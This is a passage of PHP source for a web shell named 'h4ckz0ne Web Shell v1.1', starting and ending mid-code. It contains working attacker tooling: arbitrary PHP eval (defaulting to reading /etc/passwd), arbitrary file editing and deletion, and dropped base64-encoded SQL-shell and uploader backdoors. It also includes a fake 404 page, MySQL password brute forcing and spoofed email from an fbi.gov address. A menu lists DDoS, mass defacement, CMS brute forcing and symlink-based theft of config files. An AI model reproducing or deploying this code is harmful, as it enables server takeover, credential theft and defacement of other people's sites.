  496. $back_connect_c="XVHbagIxEH0X/IdhhZLUWF1f1YKIBelFqfZJliUm2W7obiJJLLWl/94k29rWhyEzc+Z2TjpSserA
  497. BYyt41JfldftVuc3d7R9q9mLcGeAEk5660sVAakc1FQqFBxqnhkBVlIDl95/3Wa43fpotyCABR95
  498. zzpzYA7CaMq5yaUCK1VAYpup7XaYZpPE1NArIBmBRzgVtVYoJQMcR/jV3vKC1rI6wgSmN/niYb75
  499. i+21cR4pnVYWUaclivcMM/xvRDjhysbHVwde0W+K0wzH9bt3YfRPingClVCnim7a/ZuJC0JTwf3A
  500. RkD0fR+B9XJ2m683j/PpPYHFavW43CzzzWyFIfbIAhBiWinBHCo4AXSmFlxiuPB3E0/gXejiHMcY
  501. jwcYguIAe2GMNijZ9jL4GYq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Jy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywka29sYS4nLSBPdGhlci50eHQnKSA7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2xpYi9jb25maWcucGhwJywka29sYS4nLSBCYWxpdGJhbmcudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWNsaWVudHMudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1jbGllbnQudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1iaWxsaW5nLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmdzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWJpbGxpbmdzLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSB3aG1jcyAtIHdobWNzLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gd2htIC0gd2htLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLSBWQnVsbGV0aW4gLSBmb3J1bS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vY29uZml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rYTwkeTska2ErKyl7DQp3aGlsZShAbGluZXNbJGthXSAgPX4gbS8oLio/KTp4Oi9nKXsNCiZsaWwoJDEpOw0KcHJpbnQgTVlGSUxFICQxLiIudHh0ICI7DQpmb3IoJGtkPTE7JGtkPDE4OyRrZCsrKXsNCnByaW50IE1ZRklMRSAkMS4ka2QuIi50eHQgIjsNCn0NCn0NCiB9DQpwcmludCc8Ym9keSBjbGFzcz0ibmV3U3R5bGUxIj4NCjxwPkRvbmUgISE8L3A+DQo8cD4mbmJzcDs8L3A+JzsNCmlmKCRGT1JNe3Rhcn0gbmUgIiIpew0Kb3BlbihJTkZPLCAidGFyLnRtcCIpOw0KQGxpbmVzID08SU5GTz4gOw0KY2xvc2UoSU5GTyk7DQpzeXN0ZW0oQGxpbmVzKTsNCnByaW50JzxwPjxhIGhyZWY9IicuJEZPUk17dGFyfS4nLnRhciI+IGRvd25sb2FkICBmaWxlPC9hPjwvcD4nOw0KfQ0KfQ0KIHByaW50Ig0KPC9ib2R5Pg0KPC9odG1sPiI7';
  505. ?>
  506. <script type="text/javascript">
  507. function tukar(lama,baru){
  508. document.getElementById(lama).style.display = 'none';
  509. document.getElementById(baru).style.display = 'block';
  510. }
  511. </script>
  512. <style type="text/css">
  513. body{
  514. background:#000000;;
  515. }
  516. a {
  517. text-decoration:none;
  518. }
  519. a:hover{
  520. border-bottom:1px solid #00ff00;
  521. }
  522. *{
  523. font-size:11px;
  524. font-family:Tahoma,Verdana,Arial;
  525. color:#00ff00;
  526. }
  527. #menu{
  528. background:#111111;
  529. margin:8px 2px 4px 2px;
  530. }
  531. #menu a{
  532. padding:4px 18px;
  533. margin:0;
  534. background:#222222;
  535. text-decoration:none;
  536. letter-spacing:2px;
  537. -moz-border-radius: 5px; -webkit-border-radius: 5px; -khtml-border-radius: 5px; border-radius: 5px;
  538. }
  539. #menu a:hover{
  540. background:#191919;
  541. border-bottom:1px solid #333333;
  542. border-top:1px solid #333333;
  543. }
  544. .tabnet{
  545. margin:15px auto 0 auto;
  546. border: 1px solid #333333;
  547. }
  548. .main {
  549. width:100%;
  550. }
  551. .gaya {
  552. color: #00ff00;
  553. }
  554. .inputz{
  555. background:#111111;
  556. border:0;
  557. padding:2px;
  558. border-bottom:1px solid #222222;
  559. border-top:1px solid #222222;
  560. }
  561. .inputzbut{
  562. background:#111111;
  563. color:#00ff00;
  564. margin:0 4px;
  565. border:1px solid #444444;
  566. }
  567. .inputz:hover, .inputzbut:hover{
  568. border-bottom:1px solid #00ff00;
  569. border-top:1px solid #00ff00;
  570. }
  571. .output {
  572. margin:auto;
  573. border:1px solid #00ff00;
  574. width:100%;
  575. height:400px;
  576. background:#000000;
  577. padding:0 2px;
  578. }
  579. .cmdbox{
  580. width:100%;
  581. }
  582. .head_info{
  583. padding: 0 4px;
  584. }
  585. .jaya{ font-family: ;}
  586. .b374k{
  587. font-size:30px;
  588. padding:0;
  589. color:#444444;
  590. }
  591. .b374k_tbl{
  592. text-align:center;
  593. margin:0 4px 0 0;
  594. padding:0 4px 0 0;
  595. border-right:1px solid #333333;
  596. }
  597. .phpinfo table{
  598. width:100%;
  599. padding:0 0 0 0;
  600. }
  601. .phpinfo td{
  602. background:#111111;
  603. color:#cccccc;
  604. padding:6px 8px;;
  605. }
  606. .phpinfo th, th{
  607. background:#191919;
  608. border-bottom:1px solid #333333;
  609. font-weight:normal;
  610. }
  611. .phpinfo h2, .phpinfo h2 a{
  612. text-align:center;
  613. font-size:16px;
  614. padding:0;
  615. margin:30px 0 0 0;
  616. background:#222222;
  617. padding:4px 0;
  618. }
  619. .explore{
  620. width:100%;
  621. }
  622. .explore a {
  623. text-decoration:none;
  624. }
  625. .explore td{
  626. border-bottom:1px solid #333333;
  627. padding:0 8px;
  628. line-height:24px;
  629. }
  630. .explore th{
  631. padding:3px 8px;
  632. font-weight:normal;
  633. }
  634. .explore th:hover , .phpinfo th:hover{
  635. border-bottom:1px solid #00ff00;
  636. }
  637. .explore tr:hover{
  638. background:#111111;
  639. }
  640. .viewfile{
  641. background:#EDECEB;
  642. color:#000000;
  643. margin:4px 2px;
  644. padding:8px;
  645. }
  646. .sembunyi{
  647. display:none;
  648. padding:0;margin:0;
  649. }
  650. </style></head>
  651. <script language='javascript'>
  652. if (document.all||document.getElementById){
  653. var thetitle=document.title
  654. document.title=''
  655. }
  656. var data="Us3 Y0ur br41n biTch ! ! !";
  657. var done=1;
  658. function statusIn(text){
  659. decrypt(text,22,22);
  660. }
  661. function statusOut(){
  662. self.status='';
  663. done=1;
  664. }
  665. function decrypt(text, max, delay){
  666. if (done){
  667. done = 0;
  668. rantit(text, max, delay, 0, max);
  669. }
  670. }
  671. function rantit(text, runs_left, delay, charvar, max){
  672. if (!done){
  673. runs_left = runs_left - 1;
  674. var status = text.substring(0,charvar);
  675. for(var current_char = charvar; current_char < text.length; current_char++){
  676. status += data.charAt(Math.round(Math.random()*data.length));
  677. }
  678. document.title = status;
  679. var rerun = "rantit('" + text + "'," + runs_left + "," + delay + "," + charvar + "," + max + ");"
  680. var new_char = charvar + 1;
  681. var next_char = "rantit('" + text + "'," + max + "," + delay + "," + new_char + "," + max + ");"
  682. if(runs_left > 0){
  683. setTimeout(rerun, delay);
  684. }
  685. else{
  686. if (charvar < text.length){
  687. setTimeout(next_char, Math.round(delay*(charvar+3)/(charvar+1)));
  688. }
  689. else
  690. {
  691. done = 1;
  692. }
  693. }
  694. }
  695. }
  696. if (document.all||document.getElementById)
  697. statusIn(thetitle)
  698. </script>
  699. <body onLoad="document.getElementById('cmd').focus();">
  700. <div class="main">
  701. <!-- head info start here -->
  702. <div class="head_info">
  703. <table ><tr>
  704. <td><table class="b374k_tbl"><tr><td><a href="?"><span class="b374k"><img src="http://puu.sh/7TKjl" /></span></a></td></tr><tr><td><b>h4ckz0ne Web Shell v1.1 [ root@127.0.0.1 ]</b></td></tr></table></td>
  705. <td><?php echo $buff; ?></td>
  706. </tr></table>
  707. </div>
  708. <!-- head info end here -->
  709. <!-- menu start -->
  710. <center><div id="menu">
  711. <a href="?<?php echo "y=".$pwd; ?>"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAN1gAADdYBkG95nAAAAAd0SU1FB9oJBxQ2GRnu/TgAAAJzSURBVDjLtZLPSxtBHMXf5semZDfS7KpIaWzRShoFD5UK9h6ai5eCPfZkwYJ4kF566a30H0gF24BUqDdjBT1VCFIsNBUWEw+ha2obpDGUXGR1Z7KZ+fbQRky1vfULAzPD4/MeMw/4H7O6ugoAsG17tFwuJwFgd3f3Qq3yN0g+n7+r6/oKgEtQMDWYGHx5kc539rC4uAgA2Hy/OaGq6oplWaVcLmdxxl9YlvUEALa2tv6dYGPjXSoS6chWKpWKaZpdoVBIL5VK+0NDQ/1END02NjZ/LsHc3BwAYG1tbSIYVLOFQuGzpmldgUDAkFKqvb2917a3t23GWDqXyz0BgPX19fYEy8vLKV3XswcHBxXDMLoikYghpaRW0kajwfbK5W834/F+ANOpVGr+FLC0tHRf0/TX+/tf7J6eniuappkA6IwBtSC2bX9NJBIDRPT05OTkuTL1aKpj9Pbox1qtdmgYxlXTNG8QEV3wPgRAcV23bllWfmRkZNh13VuKpmnBvr6+O1LK2szMzNtwOBxviYUQUBQFPp+vBYCU8jCTyaSOj48vA/hw6jI+Ph5JJpOfwuFwnIjAGKsvLCw8cxxHTE4+fGwY0RgRgYi+O44zPDs7W2/rgeu6CmMMjDFwziGE+JFIJF5Vq9VMs+kdcs7BOQdjDEdHR6fGgdZGCAHOOfx+P4gIQggZjUaps9OkRqNBjDHQr1E8z8M5QLVaheM4TZ/fBxDQbDZVz/MgJYFzHlRVFURQms2GqNfr4qIm+mOx2L3u7u5hKSVCIXVPSvGmsFNUBuLxB8FA4DoAeJ63UywWswBk2x+l0+kW0P97KX80tnXfNj8B5NE5DOMV2T0AAAAASUVORK5CYII=' height="18" width="34"></a>
  712. <a href="?<?php echo "y=".$pwd; ?>&x=shell">Shell</a>
  713. <a href="?<?php echo "y=".$pwd; ?>&x=php">Eval</a>
  714. <a href="?<?php echo "y=".$pwd; ?>&x=sql">Mysql</a>
  715. <a href="?<?php echo "y=".$pwd; ?>&x=dump">Database Dump</a>
  716. <a href="?<?php echo "y=".$pwd; ?>&x=phpinfo">Php Info</a>
  717. <a href="?<?php echo "y=".$pwd; ?>&x=netsploit">Net Sploit</a>
  718. <a href="?<?php echo "y=".$pwd; ?>&x=upload">Upload</a>
  719. <a href="?<?php echo "y=".$pwd; ?>&x=mail">E-Mail</a>
  720. <a href="?<?php echo "y=".$pwd; ?>&x=sqli-scanner">SQLI Scan</a>
  721. <a href="?<?php echo "y=".$pwd; ?>&x=port-sc">Port Scan</a>
  722. <a href="?<?php echo "y=".$pwd; ?>&x=dos">Ddos</a>
  723. <a href="?<?php echo "y=".$pwd; ?>&x=tool">Tools</a>
  724. <a href="?<?php echo "y=".$pwd; ?>&x=python">python</a>
  725. <a href="?<?php echo "y=".$pwd; ?>&x=symlink">Symlink</a><br><br>
  726. <a href="?<?php echo "y=".$pwd; ?>&x=config">Config</a>
  727. <a href="?<?php echo "y=".$pwd; ?>&x=bypass">Bypass</a>
  728. <a href="?<?php echo "y=".$pwd; ?>&x=cgi">CgiShell</a>
  729. <a href="?<?php echo "y=".$pwd; ?>&x=cgi2012">CGI Telnet 2012</a>
  730. <a href="?<?php echo "y=".$pwd; ?>&x=domain">Domain</a>
  731. <a href="?<?php echo "y=".$pwd; ?>&x=jodexer">Joomla IndChange</a>
  732. <a href="?<?php echo "y=".$pwd; ?>&x=vb">VB IndChange</a>
  733. <a href="?<?php echo "y=".$pwd; ?>&x=wp-reset">Wordpress ResPass</a>
  734. <a href="?<?php echo "y=".$pwd; ?>&x=jm-reset">Joomla ResPass</a>
  735. <a href="?<?php echo "y=".$pwd; ?>&x=whmcs">WHMCS Decoder</a>
  736. <a href="?<?php echo "y=".$pwd; ?>&x=zone">Zone-H</a><br><br>
  737. <a href="?<?php echo "y=".$pwd; ?>&x=mass">Mass Deface</a>
  738. <a href="?<?php echo "y=".$pwd; ?>&x=wpbrute">Wordpress BruteForce</a>
  739. <a href="?<?php echo "y=".$pwd; ?>&x=jbrute">Joomla BruteForce</a>
  740. <a href="?<?php echo "y=".$pwd; ?>&x=brute">Cpanel BruteForce</a>
  741. <a href="?<?php echo "y=".$pwd; ?>&x=bypass-cf">Bypass CloudFlare</a>
  742. <a href="?<?php echo "y=".$pwd; ?>&x=adfin">Admin Finder</a>
  743. <a href="?<?php echo "y=".$pwd; ?>&x=hash">Password Hash</a>
  744. <a href="?<?php echo "y=".$pwd; ?>&x=hashid">Hash ID</a>
  745. <a href="?<?php echo "y=".$pwd; ?>&x=string">Script Encode</a><br><br>
  746. <a href="?<?php echo "y=".$pwd; ?>&x=whois">Website Whois</a>
  747. <a href="?<?php echo "y=".$pwd; ?>&x=jss">Joomla Server Scanner</a>
  748. <a href="?<?php echo "y=".$pwd; ?>&x=cms_detect">Cms Detector</a>
  749. <a href="?<?php echo "y=".$pwd; ?>&x=tutor">Tutorial & Ebook</a>
  750. <a href="?<?php echo "y=".$pwd; ?>&x=about">About</a>
  751. <a href="?<?php echo "y=".$pwd; ?>&x=logout">Log-Out</a>
  752. </div></center>
  753. <!-- menu end -->
  754. <?php
  755. @ini_set('display_errors', 0);
  756. if(isset($_GET['x']) && ($_GET['x'] == 'php')){ ?>
  757. <form action="?y=<?php echo $pwd; ?>&x=php" method="post">
  758. <table class="cmdbox">
  759. <tr><td>
  760. <textarea class="output" name="cmd" id="cmd">
  761. <?php
  762. if(isset($_POST['submitcmd'])) {
  763. echo eval(magicboom($_POST['cmd']));
  764. }
  765. else echo "echo file_get_contents('/etc/passwd');";
  766. ?>
  767. </textarea>
  768. <tr><td><input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitcmd" /></td></tr></form>
  769. </table>
  770. </form>
  771. <?php }
  772. elseif(isset($_GET['x']) && ($_GET['x'] == 'sql'))
  773. {
  774. ?>
  775. <form action="?y=<?php echo $pwd; ?>&x=sql" method="post">
  776. <?php
  777. echo "<center/><br/><b><font color=#00ff00>+--==[ Mysql Interface ]==--+</font></b><br><br>";
  778. mkdir('mysql', 0755);
  779. chdir('mysql');
  780. $akses = ".htaccess";
  781. $buka_lah = "$akses";
  782. $buka = fopen ($buka_lah , 'w') or die ("Error cuyy!");
  783. $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
  784. AddType application/x-httpd-php .cpc
  785. ";
  786. fwrite ( $buka , $metin ) ;
  787. fclose ($buka);
  788. $sqlshell = 'PD8NCiRQQVNTV09SRCA9ICJyb290X3hoYWhheCI7DQokVVNFUk5BTUUgPSAieGhhaGF4IjsNCmlmICggZnVuY3Rpb25fZXhpc3RzKCdpbmlfZ2V0JykgKSB7DQoJJG9ub2ZmID0gaW5pX2dldCgncmVnaXN0ZXJfZ2xvYmFscycpOw0KfSBlbHNlIHsNCgkkb25vZmYgPSBnZXRfY2ZnX3ZhcigncmVnaXN0ZXJfZ2xvYmFscycpOw0KfQ0KaWYgKCRvbm9mZiAhPSAxKSB7DQoJQGV4dHJhY3QoJEhUVFBfU0VSVkVSX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfQ09PS0lFX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfUE9TVF9GSUxFUywgRVhUUl9TS0lQKTsNCglAZXh0cmFjdCgkSFRUUF9QT1NUX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfR0VUX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfRU5WX1ZBUlMsIEVYVFJfU0tJUCk7DQp9DQoNCmZ1bmN0aW9uIGxvZ29uKCkgew0KCWdsb2JhbCAkUEhQX1NFTEY7DQoJc2V0Y29va2llKCAibXlzcWxfd2ViX2FkbWluX3VzZXJuYW1lIiApOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1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EVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOmFjdGl2ZSB7DQpDT0xPUjojMDBGRjAwOw0KVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOmhvdmVyIHsNCmNvbG9yOiMwMEZGMDA7DQpURVhULURFQ09SQVRJT046IG5vbmUNCn0NCmlucHV0LCBzZWxlY3QsIHRleHRhcmVhIHsNCmJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7DQpib3JkZXItc3R5bGU6IHNvbGlkOw0KZm9udC1mYW1pbHk6IFRhaG9tYSxWZXJkYW5hLEFyaWFsLFNhbnMtU2VyaWY7DQpmb250LXNpemU6c21hbGw7DQpjb2xvcjogIzAwRkYwMDsNCnBhZGRpbmc6IDBweDsNCn0NCmxpIHsNCmNvbG9yOiAjMDBGRjAwOw0KfQ0KLm5ldyB7DQpjb2xvcjogIzAwRkYwMDsNCn0NCi8vLS0+DQo8L3N0eWxlPg0KPC9oZWFkPg==';
  789. $file = fopen("db-sql.php" ,"w+");
  790. $write = fwrite ($file ,base64_decode($sqlshell));
  791. fclose($file);
  792. chmod("db-sql.php", 0644);
  793. $indexshell = fopen("index.php" ,"w+");
  794. $data = 'PGgxPk5vdCBGb3VuZDwvaDE+IA0KPHA+VGhlIHJlcXVlc3RlZCBVUkwgd2FzIG5vdCBmb3VuZCBvbiB0aGlzIHNlcnZlci48L3A+IA0KPGhyPiANCjxhZGRyZXNzPkFwYWNoZSBTZXJ2ZXIgYXQgPD89JF9TRVJWRVJbJ0hUVFBfSE9TVCddPz4gUG9ydCA4MDwvYWRkcmVzcz4gDQogICAgPHN0eWxlPiANCiAgICAgICAgaW5wdXQgeyBtYXJnaW46MDtiYWNrZ3JvdW5kLWNvbG9yOiNmZmY7Ym9yZGVyOjFweCBzb2xpZCAjZmZmOyB9IA0KICAgIDwvc3R5bGU+';
  795. $tulis = fwrite( $indexshell, base64_decode($data));
  796. fclose($indexshell);
  797. echo "<iframe src=mysql/db-sql.php width=97% height=100% frameborder=0></iframe>";
  798. }
  799. elseif(isset($_GET['x']) && ($_GET['x'] == 'mail')){
  800. if(isset($_POST['mail_send'])){
  801. $mail_to = $_POST['mail_to'];
  802. $mail_from = $_POST['mail_from'];
  803. $mail_subject = $_POST['mail_subject'];
  804. $mail_content = magicboom($_POST['mail_content']);
  805. if(@mail($mail_to,$mail_subject,$mail_content,"FROM:$mail_from")){
  806. $msg = "email sent to $mail_to";
  807. }
  808. else $msg = "send email failed";
  809. }
  810. ?>
  811. <form action="?y=<?php echo $pwd; ?>&x=mail" method="post">
  812. <table class="cmdbox">
  813. <tr><td>
  814. <textarea class="output" name="mail_content" id="cmd" style="height:340px;">Hey there, please patch me ASAP ;-p</textarea>
  815. <tr><td>&nbsp;<input class="inputz" style="width:20%;" type="text" value="admin@somesome.com" name="mail_to" />&nbsp; mail to</td></tr>
  816. <tr><td>&nbsp;<input class="inputz" style="width:20%;" type="text" value="X-1n73ct@fbi.gov" name="mail_from" />&nbsp; from</td></tr>
  817. <tr><td>&nbsp;<input class="inputz" style="width:20%;" type="text" value="patch me" name="mail_subject" />&nbsp; subject</td></tr>
  818. <tr><td>&nbsp;<input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="mail_send" /></td></tr></form>
  819. <tr><td>&nbsp;&nbsp;&nbsp;&nbsp;<?php echo $msg; ?></td></tr>
  820. </table>
  821. </form>
  822. <?php }
  823. elseif(isset($_GET['x']) && ($_GET['x'] == 'phpinfo')){
  824. @ob_start();
  825. @eval("phpinfo();");
  826. $buff = @ob_get_contents();
  827. @ob_end_clean();
  828. $awal = strpos($buff,"<body>")+6;
  829. $akhir = strpos($buff,"</body>");
  830. echo "<div class=\"phpinfo\">".substr($buff,$awal,$akhir-$awal)."</div>";
  831. }
  832. elseif(isset($_GET['view']) && ($_GET['view'] != "")){
  833. if(is_file($_GET['view'])){
  834. if(!isset($file)) $file = magicboom($_GET['view']);
  835. if(!$win && $posix){
  836. $name=@posix_getpwuid(@fileowner($folder));
  837. $group=@posix_getgrgid(@filegroup($folder));
  838. $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
  839. }
  840. else {
  841. $owner = $user;
  842. }
  843. $filn = basename($file);
  844. echo "<table style=\"margin:6px 0 0 2px;line-height:20px;\">
  845. <tr><td>Filename</td><td><span id=\"".clearspace($filn)."_link\">".$file."</span>
  846. <form action=\"?y=".$pwd."&view=$file\" method=\"post\" id=\"".clearspace($filn)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
  847. <input type=\"hidden\" name=\"oldname\" value=\"".$filn."\" style=\"margin:0;padding:0;\" />
  848. <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$filn."\" />
  849. <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
  850. <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');\" />
  851. </form>
  852. </td></tr>
  853. <tr><td>Size</td><td>".ukuran($file)."</td></tr>
  854. <tr><td>Permission</td><td>".get_perms($file)."</td></tr>
  855. <tr><td>Owner</td><td>".$owner."</td></tr>
  856. <tr><td>Create time</td><td>".date("d-M-Y H:i",@filectime($file))."</td></tr>
  857. <tr><td>Last modified</td><td>".date("d-M-Y H:i",@filemtime($file))."</td></tr>
  858. <tr><td>Last accessed</td><td>".date("d-M-Y H:i",@fileatime($file))."</td></tr>
  859. <tr><td>Actions</td><td><a href=\"?y=$pwd&edit=$file\">edit</a> | <a href=\"javascript:tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');\">rename</a> | <a href=\"?y=$pwd&delete=$file\">delete</a> | <a href=\"?y=$pwd&dl=$file\">download</a>&nbsp;(<a href=\"?y=$pwd&dlgzip=$file\">gzip</a>)</td></tr>
  860. <tr><td>View</td><td><a href=\"?y=".$pwd."&view=".$file."\">text</a> | <a href=\"?y=".$pwd."&view=".$file."&type=code\">code</a> | <a href=\"?y=".$pwd."&view=".$file."&type=image\">image</a></td></tr>
  861. </table>
  862. ";
  863. if(isset($_GET['type']) && ($_GET['type']=='image')){
  864. echo "<div style=\"text-align:center;margin:8px;\"><img src=\"?y=".$pwd."&img=".$filn."\"></div>";
  865. }
  866. elseif(isset($_GET['type']) && ($_GET['type']=='code')){
  867. echo "<div class=\"viewfile\">";
  868. $file = wordwrap(@file_get_contents($file),"240","\n");
  869. @highlight_string($file);
  870. echo "</div>";
  871. }
  872. else {
  873. echo "<div class=\"viewfile\">";
  874. echo nl2br(htmlentities((@file_get_contents($file))));
  875. echo "</div>";
  876. }
  877. }
  878. elseif(is_dir($_GET['view'])){
  879. echo showdir($pwd,$prompt);
  880. }
  881. }
  882. elseif(isset($_GET['edit']) && ($_GET['edit'] != "")){
  883. if(isset($_POST['save'])){
  884. $file = $_POST['saveas'];
  885. $content = magicboom($_POST['content']);
  886. if($filez = @fopen($file,"w")){
  887. $time = date("d-M-Y H:i",time());
  888. if(@fwrite($filez,$content)) $msg = "file saved <span class=\"gaya\">@</span> ".$time;
  889. else $msg = "failed to save";
  890. @fclose($filez);
  891. }
  892. else $msg = "permission denied";
  893. }
  894. if(!isset($file)) $file = $_GET['edit'];
  895. if($filez = @fopen($file,"r")){
  896. $content = "";
  897. while(!feof($filez)){
  898. $content .= htmlentities(str_replace("''","'",fgets($filez)));
  899. }
  900. @fclose($filez);
  901. }
  902. ?>
  903. <form action="?y=<?php echo $pwd; ?>&edit=<?php echo $file; ?>" method="post">
  904. <table class="cmdbox">
  905. <tr><td colspan="2">
  906. <textarea class="output" name="content">
  907. <?php echo $content; ?>
  908. </textarea>
  909. <tr><td colspan="2">Save as <input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="saveas" style="width:60%;" value="<?php echo $file; ?>" /><input class="inputzbut" type="submit" value="Save !" name="save" style="width:12%;" />
  910. &nbsp;<?php echo $msg; ?></td></tr>
  911. </table>
  912. </form>
  913. <?php
  914. }
  915. elseif(isset($_GET['x']) && ($_GET['x'] == 'logout'))
  916. {
  917. ?>
  918. <form action="?y=<?php echo $pwd; ?>&x=logout" method="post">
  919. <?php
  920. unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
  921. echo 'bye!';
  922. }
  923. elseif(isset($_GET['x']) && ($_GET['x'] == 'brute'))
  924. {
  925. ?>
  926. <form action="?y=<?php echo $pwd; ?>&x=brute" method="post">
  927. <?php
  928. //bruteforce
  929. ?>
  930. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  931. <?php
  932. /*
  933. Recoded By X'1n73ct
  934. */
  935. @set_time_limit(0);
  936. @error_reporting(0);
  937. if($_POST['page']=='find')
  938. {
  939. if(isset($_POST['usernames']) && isset($_POST['passwords']))
  940. {
  941. if($_POST['type'] == 'passwd'){
  942. $e = explode("\n",$_POST['usernames']);
  943. foreach($e as $value){
  944. $k = explode(":",$value);
  945. $username .= $k['0']." ";
  946. }
  947. }elseif($_POST['type'] == 'simple'){
  948. $username = str_replace("\n",' ',$_POST['usernames']);
  949. }
  950. $a1 = explode(" ",$username);
  951. $a2 = explode("\n",$_POST['passwords']);
  952. $id2 = count($a2);
  953. $ok = 0;
  954. foreach($a1 as $user )
  955. {
  956. if($user !== '')
  957. {
  958. $user=trim($user);
  959. for($i=0;$i<=$id2;$i++)
  960. {
  961. $pass = trim($a2[$i]);
  962. if(@mysql_connect('localhost',$user,$pass))
  963. {
  964. echo "X'1n73ct~ user is (<b><font color=green>$user</font></b>) Password is (<b><font color=green>$pass</font></b>)<br />";
  965. $ok++;
  966. }
  967. }
  968. }
  969. }
  970. echo "<hr><b>You Found <font color=green>$ok</font> Cpanel by h4ckz0ne Shell</b>";
  971. echo "<center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
  972. exit;
  973. }
  974. }
  975. if($_POST['pass']=='password'){
  976. @error_reporting(0);
  977. $i = getenv('REMOTE_ADDR');
  978. $d = date('D, M jS, Y H:i',time());
  979. $h = $_SERVER['HTTP_HOST'];
  980. $dir=$_SERVER['PHP_SELF'];
  981. $back = "PD9waHANCmVjaG8gJzxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9InVwbG9hZGVyIiBpZD0idXBsb2FkZXIiPic7DQplY2hvICc8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgc2l6ZT0iNTAiPjxpbnB1dCBuYW1lPSJfdXBsIiB0eXBlPSJzdWJtaXQiIGlkPSJfdXBsIiB2YWx1ZT0iVXBsb2FkIj48L2Zvcm0+JzsNCmlmKCAkX1BPU1RbJ191cGwnXSA9PSAiVXBsb2FkIiApIHsNCmlmKEBjb3B5KCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZmlsZSddWyduYW1lJ10pKSB7IGVjaG8gJzxiPktvcmFuZyBEYWggQmVyamF5YSBVcGxvYWQgU2hlbGwgS29yYW5nISEhPGI+PGJyPjxicj4nOyB9DQplbHNlIHsgZWNobyAnPGI+S29yYW5nIEdhZ2FsIFVwbG9hZCBTaGVsbCBLb3JhbmchISE8L2I+PGJyPjxicj4nOyB9DQp9DQo/Pg==";
  982. $file = fopen(".php","w+");
  983. $write = fwrite ($file ,base64_decode($back));
  984. fclose($file);
  985. chmod(".php",0755);
  986. mkdir('config',0755);
  987. $cp =
